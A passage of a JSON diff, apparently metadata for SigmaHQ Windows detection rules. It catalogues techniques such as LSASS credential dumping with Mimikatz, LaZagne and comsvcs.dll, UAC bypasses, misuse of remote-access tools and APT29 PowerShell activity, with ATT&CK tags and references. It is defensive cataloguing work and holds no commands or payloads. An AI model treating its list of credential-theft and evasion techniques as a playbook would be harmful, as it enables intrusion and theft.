"falsepositive": [ + "Unknown" + ], + "logsource.category": "process_access", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspect access to svchost process memory such as that used by Invoke-Phantom to kill the winRM windows event logging service.", + "uuid": "166e9c50-8cd9-44af-815d-d1f0c0e90dde", + "value": "Suspect Svchost Memory Asccess", + "meta": { + "refs": [ + "https://github.com/hlldz/Invoke-Phant0m", + "https://twitter.com/timbmsft/status/900724491076214784", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_invoke_phantom.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.002" + ], + "creation_date": "2020/01/02", + "filename": "proc_access_win_invoke_phantom.yml", + "author": "Tim Burrell", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_access", + "logsource.product": "windows" + } + }, + { + "description": "Detects the access to processes by other suspicious processes which have reflectively loaded libraries in their memory space.\nAn example is SilentTrinity C2 behaviour. Generally speaking, when Sysmon EventID 10 cannot reference a stack call to a dll loaded from disk (the standard way),\nit will display \"UNKNOWN\" as the module name. Usually this means the stack call points to a module that was reflectively loaded in memory.\nAdding to this, it is not common to see such few calls in the stack (ntdll.dll --> kernelbase.dll --> unknown) which essentially means that\nmost of the functions required by the process to execute certain routines are already present in memory, not requiring any calls to external libraries.\nThe latter should also be considered suspicious.\n", + "uuid": "5f113a8f-8b61-41ca-b90f-d374fa7e4a39", + "value": "Suspicious In-Memory Module Execution", + "meta": { + "refs": [ + "https://azure.microsoft.com/en-ca/blog/detecting-in-memory-attacks-with-sysmon-and-azure-security-center/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_in_memory_assembly_execution.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.defense_evasion", + "attack.t1055.001", + "attack.t1055.002" + ], + "creation_date": "2019/10/27", + "filename": "proc_access_win_in_memory_assembly_execution.yml", + "author": "Perez Diego (@darkquassar), oscd.community, Jonhnathan Ribeiro", + "level": "low", + "falsepositive": [ + "SysInternals Process Explorer" + ], + "logsource.category": "process_access", + "logsource.product": "windows" + } + }, + { + "description": "Detects LSASS process access by LaZagne for credential dumping.", + "uuid": "4b9a8556-99c4-470b-a40c-9c8d02c77ed0", + "value": "Credential Dumping by LaZagne", + "meta": { + "refs": [ + "https://twitter.com/bh4b3sh/status/1303674603819081728", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_lazagne_cred_dump_lsass_access.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003.001", + "attack.s0349" + ], + "creation_date": "2020/09/09", + "filename": "proc_access_win_lazagne_cred_dump_lsass_access.yml", + "author": "Bhabesh Raj, Jonhnathan Ribeiro", + "level": "critical", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_access", + "logsource.product": "windows" + } + }, + { + "description": "Detects the process injection of a LittleCorporal generated Maldoc.", + "uuid": "7bdde3bf-2a42-4c39-aa31-a92b3e17afac", + "value": "LittleCorporal Generated Maldoc Injection", + "meta": { + "refs": [ + "https://github.com/connormcgarr/LittleCorporal", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_littlecorporal_generated_maldoc.yml" + ], + "tags": [ + "attack.execution", + "attack.t1204.002", + "attack.t1055.003" + ], + "creation_date": "2021/08/09", + "filename": "proc_access_win_littlecorporal_generated_maldoc.yml", + "author": "Christian Burkard", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_access", + "logsource.product": "windows" + } + }, + { + "description": "COM interface (EditionUpgradeManager) that is not used by standard executables.", + "uuid": "fb3722e4-1a06-46b6-b772-253e2e7db933", + "value": "Load Undocumented Autoelevated COM Interface", + "meta": { + "refs": [ + "https://www.snip2code.com/Snippet/4397378/UAC-bypass-using-EditionUpgradeManager-C/", + "https://gist.github.com/hfiref0x/de9c83966623236f5ebf8d9ae2407611", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_load_undocumented_autoelevated_com_interface.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.privilege_escalation", + "attack.t1548.002" + ], + "creation_date": "2020/10/07", + "filename": "proc_access_win_load_undocumented_autoelevated_com_interface.yml", + "author": "oscd.community, Dmitry Uchakin", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_access", + "logsource.product": "windows" + } + }, + { + "description": "Detects adversaries leveraging the MiniDump export function from comsvcs.dll via rundll32 to perform a memory dump from lsass.", + "uuid": "a49fa4d5-11db-418c-8473-1e014a8dd462", + "value": "Lsass Memory Dump via Comsvcs DLL", + "meta": { + "refs": [ + "https://twitter.com/shantanukhande/status/1229348874298388484", + "https://modexp.wordpress.com/2019/08/30/minidumpwritedump-via-com-services-dll/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_lsass_dump_comsvcs_dll.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003.001" + ], + "creation_date": "2020/10/20", + "filename": "proc_access_win_lsass_dump_comsvcs_dll.yml", + "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", + "level": "critical", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_access", + "logsource.product": "windows" + } + }, + { + "description": "Detects process LSASS memory dump using Mimikatz, NanoDump, Invoke-Mimikatz, Procdump or Taskmgr based on the CallTrace pointing to ntdll.dll, dbghelp.dll or dbgcore.dll for win10, server2016 and up.", + "uuid": "5ef9853e-4d0e-4a70-846f-a9ca37d876da", + "value": "LSASS Memory Dump", + "meta": { + "refs": [ + "https://blog.menasec.net/2019/02/threat-hunting-21-procdump-or-taskmgr.html", + "https://cyberwardog.blogspot.com/2017/03/chronicles-of-threat-hunter-hunting-for_22.html", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1003.001/T1003.001.md", + "https://research.splunk.com/endpoint/windows_possible_credential_dumping/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_lsass_memdump.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003.001", + "attack.s0002" + ], + "creation_date": "2019/04/03", + "filename": "proc_access_win_lsass_memdump.yml", + "author": "Samir Bousseaden, Michael Haag", + "level": "high", + "falsepositive": [ + "False positives are present when looking for 0x1410. Exclusions may be required." + ], + "logsource.category": "process_access", + "logsource.product": "windows" + } + }, + { + "description": "Detects a possible process memory dump that uses the white-listed filename like TrolleyExpress.exe as a way to dump the lsass process memory without Microsoft Defender interference", + "uuid": "4be8b654-0c01-4c9d-a10c-6b28467fc651", + "value": "LSASS Access from White-Listed Processes", + "meta": { + "refs": [ + "https://twitter.com/_xpn_/status/1491557187168178176", + "https://www.ired.team/offensive-security/credential-access-and-credential-dumping/dump-credentials-from-lsass-process-without-mimikatz", + "https://twitter.com/mrd0x/status/1460597833917251595", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_lsass_memdump_evasion.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003.001", + "attack.s0002" + ], + "creation_date": "2022/02/10", + "filename": "proc_access_win_lsass_memdump_evasion.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unlikely, since these tools shouldn't access lsass.exe at all" + ], + "logsource.category": "process_access", + "logsource.product": "windows" + } + }, + { + "description": "Detects a possible process memory dump based on a keyword in the file name of the accessing process", + "uuid": "9bd012ee-0dff-44d7-84a0-aa698cfd87a3", + "value": "LSASS Memory Access by Tool Named Dump", + "meta": { + "refs": [ + "https://twitter.com/_xpn_/status/1491557187168178176", + "https://www.ired.team/offensive-security/credential-access-and-credential-dumping/dump-credentials-from-lsass-process-without-mimikatz", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_lsass_memdump_indicators.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003.001", + "attack.s0002" + ], + "creation_date": "2022/02/10", + "filename": "proc_access_win_lsass_memdump_indicators.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Rare programs that contain the word dump in their name and access lsass" + ], + "logsource.category": "process_access", + "logsource.product": "windows" + } + }, + { + "description": "Detects process LSASS memory dump using Mimikatz, NanoDump, Invoke-Mimikatz, Procdump or Taskmgr based on the CallTrace pointing to ntdll.dll, dbghelp.dll or dbgcore.dll for win10, server2016 and up.", + "uuid": "e5b33f7d-eb93-48b6-9851-09e1e610b6d7", + "value": "WerFault Accassing LSASS", + "meta": { + "refs": [ + "https://github.com/helpsystems/nanodump/commit/578116faea3d278d53d70ea932e2bbfe42569507", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_lsass_werfault.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003.001", + "attack.s0002" + ], + "creation_date": "2012/06/27", + "filename": "proc_access_win_lsass_werfault.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Actual failures in lsass.exe that trigger a crash dump (unlikely)", + "Unknown cases in which WerFault accesses lsass.exe" + ], + "logsource.category": "process_access", + "logsource.product": "windows" + } + }, + { + "description": "Detects a process access to verclsid.exe that injects shellcode from a Microsoft Office application / VBA macro", + "uuid": "b7967e22-3d7e-409b-9ed5-cdae3f9243a1", + "value": "Malware Shellcode in Verclsid Target Process", + "meta": { + "refs": [ + "https://twitter.com/JohnLaTwC/status/837743453039534080", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_malware_verclsid_shellcode.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.privilege_escalation", + "attack.t1055" + ], + "creation_date": "2017/03/04", + "filename": "proc_access_win_malware_verclsid_shellcode.yml", + "author": "John Lambert (tech), Florian Roth (rule)", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_access", + "logsource.product": "windows" + } + }, + { + "description": "Detects usage of mimikatz through WinRM protocol by monitoring access to lsass process by wsmprovhost.exe.", + "uuid": "aa35a627-33fb-4d04-a165-d33b4afca3e8", + "value": "Mimikatz through Windows Remote Management", + "meta": { + "refs": [ + "https://pentestlab.blog/2018/05/15/lateral-movement-winrm/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_mimikatz_trough_winrm.yml" + ], + "tags": [ + "attack.credential_access", + "attack.execution", + "attack.t1003.001", + "attack.t1059.001", + "attack.lateral_movement", + "attack.t1021.006", + "attack.s0002" + ], + "creation_date": "2019/05/20", + "filename": "proc_access_win_mimikatz_trough_winrm.yml", + "author": "Patryk Prauze - ING Tech", + "level": "high", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "process_access", + "logsource.product": "windows" + } + }, + { + "description": "Detects LSASS process access by pypykatz for credential dumping.", + "uuid": "7186e989-4ed7-4f4e-a656-4674b9e3e48b", + "value": "Credential Dumping by Pypykatz", + "meta": { + "refs": [ + "https://github.com/skelsec/pypykatz", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_pypykatz_cred_dump_lsass_access.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003.001" + ], + "creation_date": "2021/08/03", + "filename": "proc_access_win_pypykatz_cred_dump_lsass_access.yml", + "author": "Bhabesh Raj", + "level": "critical", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_access", + "logsource.product": "windows" + } + }, + { + "description": "Detects process access to LSASS memory with suspicious access flags 0x410 and 0x01410 (spin-off of similar rule)", + "uuid": "678dfc63-fefb-47a5-a04c-26bcf8cc9f65", + "value": "Rare GrantedAccess Flags on LSASS Access", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/windows/win32/procthread/process-security-and-access-rights", + "https://onedrive.live.com/view.aspx?resid=D026B4699190F1E6!2843&ithint=file%2cpptx&app=PowerPoint&authkey=!AMvCRTKB_V1J5ow", + "https://cyberwardog.blogspot.com/2017/03/chronicles-of-threat-hunter-hunting-for_22.html", + "https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment", + "http://security-research.dyndns.org/pub/slides/FIRST2017/FIRST-2017_Tom-Ueltschi_Sysmon_FINAL_notes.pdf", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_rare_proc_access_lsass.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003.001", + "attack.s0002" + ], + "creation_date": "2022/03/13", + "filename": "proc_access_win_rare_proc_access_lsass.yml", + "author": "Florian Roth", + "level": "medium", + "falsepositive": [ + "Legitimate software accessing LSASS process for legitimate reason" + ], + "logsource.category": "process_access", + "logsource.product": "windows" + } + }, + { + "description": "Detects process access to LSASS memory with suspicious access flags", + "uuid": "a18dd26b-6450-46de-8c91-9659150cf088", + "value": "Suspicious GrantedAccess Flags on LSASS Access", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/windows/win32/procthread/process-security-and-access-rights", + "https://onedrive.live.com/view.aspx?resid=D026B4699190F1E6!2843&ithint=file%2cpptx&app=PowerPoint&authkey=!AMvCRTKB_V1J5ow", + "https://cyberwardog.blogspot.com/2017/03/chronicles-of-threat-hunter-hunting-for_22.html", + "https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment", + "http://security-research.dyndns.org/pub/slides/FIRST2017/FIRST-2017_Tom-Ueltschi_Sysmon_FINAL_notes.pdf", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_susp_proc_access_lsass.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003.001", + "attack.s0002" + ], + "creation_date": "2021/11/22", + "filename": "proc_access_win_susp_proc_access_lsass.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Legitimate software accessing LSASS process for legitimate reason" + ], + "logsource.category": "process_access", + "logsource.product": "windows" + } + }, + { + "description": "Detects process access to LSASS memory with suspicious access flags and from a suspicious folder", + "uuid": "fa34b441-961a-42fa-a100-ecc28c886725", + "value": "LSASS Access from Program in Suspicious Folder", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/windows/win32/procthread/process-security-and-access-rights", + "https://onedrive.live.com/view.aspx?resid=D026B4699190F1E6!2843&ithint=file%2cpptx&app=PowerPoint&authkey=!AMvCRTKB_V1J5ow", + "https://cyberwardog.blogspot.com/2017/03/chronicles-of-threat-hunter-hunting-for_22.html", + "https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment", + "http://security-research.dyndns.org/pub/slides/FIRST2017/FIRST-2017_Tom-Ueltschi_Sysmon_FINAL_notes.pdf", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_susp_proc_access_lsass_susp_source.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003.001", + "attack.s0002" + ], + "creation_date": "2021/11/27", + "filename": "proc_access_win_susp_proc_access_lsass_susp_source.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Legitimate software accessing LSASS process for legitimate reason" + ], + "logsource.category": "process_access", + "logsource.product": "windows" + } + }, + { + "description": "Detects when a process, such as mimikatz, accesses the memory of svchost to dump credentials", + "uuid": "174afcfa-6e40-4ae9-af64-496546389294", + "value": "SVCHOST Credential Dump", + "meta": { + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_svchost_cred_dump.yml" + ], + "tags": [ + "attack.t1548" + ], + "creation_date": "2021/04/30", + "filename": "proc_access_win_svchost_cred_dump.yml", + "author": "Florent Labouyrie", + "level": "high", + "falsepositive": [ + "Non identified legit exectubale" + ], + "logsource.category": "process_access", + "logsource.product": "windows" + } + }, + { + "description": "Detects the pattern of UAC Bypass using a WoW64 logger DLL hijack (UACMe 30)", + "uuid": "4f6c43e2-f989-4ea5-bcd8-843b49a0317c", + "value": "UAC Bypass Using WOW64 Logger DLL Hijack", + "meta": { + "refs": [ + "https://github.com/hfiref0x/UACME", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_uac_bypass_wow64_logger.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.privilege_escalation", + "attack.t1548.002" + ], + "creation_date": "2021/08/23", + "filename": "proc_access_win_uac_bypass_wow64_logger.yml", + "author": "Christian Burkard", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_access", + "logsource.product": "windows" + } + }, + { + "description": "7-Zip through 21.07 on Windows allows privilege escalation (CVE-2022-29072) and command execution when a file with the .7z extension is dragged to the Help>Contents area. This is caused by misconfiguration of 7z.dll and a heap overflow. The command runs in a child process under the 7zFM.exe process.", + "uuid": "9a4ccd1a-3526-4d99-b980-9f9c5d3a6ee3", + "value": "Suspicious 7zip Subprocess", + "meta": { + "refs": [ + "https://github.com/kagancapar/CVE-2022-29072", + "https://twitter.com/kagancapar/status/1515219358234161153", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_7zip_cve_2022_29072.yml" + ], + "tags": [ + "cve.2022.29072" + ], + "creation_date": "2022/04/17", + "filename": "proc_creation_win_7zip_cve_2022_29072.yml", + "author": "frack113", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detection of unusual child processes by different system processes", + "uuid": "d522eca2-2973-4391-a3e0-ef0374321dae", + "value": "Abused Debug Privilege by Arbitrary Parent Processes", + "meta": { + "refs": [ + "https://image.slidesharecdn.com/kheirkhabarovoffzonefinal-181117201458/95/hunting-for-privilege-escalation-in-windows-environment-74-638.jpg", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_abusing_debug_privilege.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.t1548" + ], + "creation_date": "2020/10/28", + "filename": "proc_creation_win_abusing_debug_privilege.yml", + "author": "Semanur Guneysu @semanurtg, oscd.community", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Windows telemetry makes use of the binary CompatTelRunner.exe to run a variety of commands and perform the actual telemetry collections. This binary was created to be easily extensible, and to that end, it relies on the registry to instruct on which commands to run. The problem is, it will run any arbitrary command without restriction of location or type.", + "uuid": "f548a603-c9f2-4c89-b511-b089f7e94549", + "value": "Abusing Windows Telemetry For Persistence", + "meta": { + "refs": [ + "https://www.trustedsec.com/blog/abusing-windows-telemetry-for-persistence/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_abusing_windows_telemetry_for_persistence.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.persistence", + "attack.t1112", + "attack.t1053" + ], + "creation_date": "2020/09/29", + "filename": "proc_creation_win_abusing_windows_telemetry_for_persistence.yml", + "author": "Sreeman", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Accesschk is an access and privilege audit tool developed by SysInternal and often being used by attacker to verify privileges", + "uuid": "c625d754-6a3d-4f65-9c9a-536aea960d37", + "value": "Accesschk Usage To Check Privileges", + "meta": { + "refs": [ + "https://speakerdeck.com/heirhabarov/hunting-for-privilege-escalation-in-windows-environment?slide=43", + "https://www.youtube.com/watch?v=JGs-aKf2OtU&ab_channel=OFFZONEMOSCOW", + "https://github.com/carlospolop/PEASS-ng/blob/fa0f2e17fbc1d86f1fd66338a40e665e7182501d/winPEAS/winPEASbat/winPEAS.bat", + "https://github.com/gladiatx0r/Powerless/blob/04f553bbc0c65baf4e57344deff84e3f016e6b51/Powerless.bat", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_accesschk_usage_after_priv_escalation.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1069.001" + ], + "creation_date": "2020/10/13", + "filename": "proc_creation_win_accesschk_usage_after_priv_escalation.yml", + "author": "Teymur Kheirkhabarov (idea), Mangatas Tondang (rule), oscd.community, Nasreddine Bencherchali (modified)", + "level": "medium", + "falsepositive": [ + "System administrator Usage" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the use of Advanced IP Scanner. Seems to be a popular tool for ransomware groups.", + "uuid": "bef37fa2-f205-4a7b-b484-0759bfd5f86f", + "value": "Advanced IP Scanner", + "meta": { + "refs": [ + "https://news.sophos.com/en-us/2019/12/09/snatch-ransomware-reboots-pcs-into-safe-mode-to-bypass-protection/", + "https://www.fireeye.com/blog/threat-research/2020/05/tactics-techniques-procedures-associated-with-maze-ransomware-incidents.html", + "https://labs.f-secure.com/blog/prelude-to-ransomware-systembc", + "https://assets.documentcloud.org/documents/20444693/fbi-pin-egregor-ransomware-bc-01062021.pdf", + "https://thedfirreport.com/2021/01/18/all-that-for-a-coinminer", + "https://github.com/3CORESec/MAL-CL/tree/master/Descriptors/Other/Advanced%20IP%20Scanner", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_advanced_ip_scanner.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1046", + "attack.t1135" + ], + "creation_date": "2020/05/12", + "filename": "proc_creation_win_advanced_ip_scanner.yml", + "author": "@ROxPinTeddy, Nasreddine Bencherchali @nas_bench", + "level": "medium", + "falsepositive": [ + "Legitimate administrative use" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the use of Advanced Port Scanner.", + "uuid": "54773c5f-f1cc-4703-9126-2f797d96a69d", + "value": "Advanced Port Scanner", + "meta": { + "refs": [ + "https://github.com/3CORESec/MAL-CL/tree/master/Descriptors/Other/Advanced%20Port%20Scanner", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_advanced_port_scanner.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1046", + "attack.t1135" + ], + "creation_date": "2021/12/18", + "filename": "proc_creation_win_advanced_port_scanner.yml", + "author": "Nasreddine Bencherchali @nas_bench", + "level": "medium", + "falsepositive": [ + "Legitimate administrative use", + "Tools with similar commandline (very rare)" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Adversaries may use NTFS file attributes to hide their malicious data in order to evade detection", + "uuid": "7f43c430-5001-4f8b-aaa9-c3b88f18fa5c", + "value": "Execute From Alternate Data Streams", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1564.004/T1564.004.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_alternate_data_streams.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1564.004" + ], + "creation_date": "2021/09/01", + "filename": "proc_creation_win_alternate_data_streams.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "This rule looks for Windows Installer service (msiexec.exe) spawned command line and/or powershell", + "uuid": "1e53dd56-8d83-4eb4-a43e-b790a05510aa", + "value": "Always Install Elevated MSI Spawned Cmd And Powershell", + "meta": { + "refs": [ + "https://image.slidesharecdn.com/kheirkhabarovoffzonefinal-181117201458/95/hunting-for-privilege-escalation-in-windows-environment-50-638.jpg", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_always_install_elevated_msi_spawned_cmd_powershell.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.t1548.002" + ], + "creation_date": "2020/10/13", + "filename": "proc_creation_win_always_install_elevated_msi_spawned_cmd_powershell.yml", + "author": "Teymur Kheirkhabarov (idea), Mangatas Tondang (rule), oscd.community", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "This rule looks for Windows Installer service (msiexec.exe) trying to install MSI packages with SYSTEM privilege", + "uuid": "cd951fdc-4b2f-47f5-ba99-a33bf61e3770", + "value": "Always Install Elevated Windows Installer", + "meta": { + "refs": [ + "https://image.slidesharecdn.com/kheirkhabarovoffzonefinal-181117201458/95/hunting-for-privilege-escalation-in-windows-environment-48-638.jpg", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_always_install_elevated_windows_installer.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.t1548.002" + ], + "creation_date": "2020/10/13", + "filename": "proc_creation_win_always_install_elevated_windows_installer.yml", + "author": "Teymur Kheirkhabarov (idea), Mangatas Tondang (rule), oscd.community", + "level": "medium", + "falsepositive": [ + "System administrator usage", + "Anti virus products" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks.\nThese services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment.\nRemote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land)\n", + "uuid": "b52e84a3-029e-4529-b09b-71d19dd27e94", + "value": "Use of Anydesk Remote Access Software", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1219/T1219.md#atomic-test-2---anydesk-files-detected-test-on-windows", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_anydesk.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1219" + ], + "creation_date": "2022/02/11", + "filename": "proc_creation_win_anydesk.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Legitimate use" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects piping the password to an anydesk instance via CMD and the '--set-password' flag", + "uuid": "b1377339-fda6-477a-b455-ac0923f9ec2c", + "value": "AnyDesk Inline Piped Password", + "meta": { + "refs": [ + "https://redcanary.com/blog/misbehaving-rats/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_anydesk_piped_password_via_cli.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1219" + ], + "creation_date": "2022/09/28", + "filename": "proc_creation_win_anydesk_piped_password_via_cli.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Legitimate piping of the password to anydesk", + "Some FP could occure with similar tools that uses the same command line '--set-password'" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "AnyDesk Remote Desktop silent installation can be used by attacker to gain remote access.", + "uuid": "114e7f1c-f137-48c8-8f54-3088c24ce4b9", + "value": "AnyDesk Silent Installation", + "meta": { + "refs": [ + "https://twitter.com/TheDFIRReport/status/1423361119926816776?s=20", + "https://support.anydesk.com/Automatic_Deployment", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_anydesk_silent_install.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1219" + ], + "creation_date": "2021/08/06", + "filename": "proc_creation_win_anydesk_silent_install.yml", + "author": "J\u00e1n Tren\u010dansk\u00fd", + "level": "high", + "falsepositive": [ + "Legitimate deployment of AnyDesk" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks.\nThese services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment.\nRemote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land)\n", + "uuid": "065b00ca-5d5c-4557-ac95-64a6d0b64d86", + "value": "Use of Anydesk Remote Access Software from Suspicious Folder", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1219/T1219.md#atomic-test-2---anydesk-files-detected-test-on-windows", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_anydesk_susp_folder.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1219" + ], + "creation_date": "2022/05/20", + "filename": "proc_creation_win_anydesk_susp_folder.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Legitimate use of AnyDesk from a non-standard folder" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects specific process parameters as used by ACTINIUM scheduled task persistence creation.", + "uuid": "e1118a8f-82f5-44b3-bb6b-8a284e5df602", + "value": "Scheduled Task WScript VBScript", + "meta": { + "refs": [ + "https://www.microsoft.com/security/blog/2022/02/04/actinium-targets-ukrainian-organizations", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_actinium_persistence.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1053", + "attack.t1053.005" + ], + "creation_date": "2022/02/07", + "filename": "proc_creation_win_apt_actinium_persistence.yml", + "author": "Andreas Hunkeler (@Karneades)", + "level": "high", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "This method detects a suspicious PowerShell command line combination as used by APT29 in a campaign against U.S. think tanks.", + "uuid": "033fe7d6-66d1-4240-ac6b-28908009c71f", + "value": "APT29", + "meta": { + "refs": [ + "https://www.microsoft.com/security/blog/2018/12/03/analysis-of-cyberattack-on-u-s-think-tanks-non-profits-public-sector-by-unidentified-attackers/", + "https://www.fireeye.com/blog/threat-research/2018/11/not-so-cozy-an-uncomfortable-examination-of-a-suspected-apt29-phishing-campaign.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_apt29_thinktanks.yml" + ], + "tags": [ + "attack.execution", + "attack.g0016", + "attack.t1059.001" + ], + 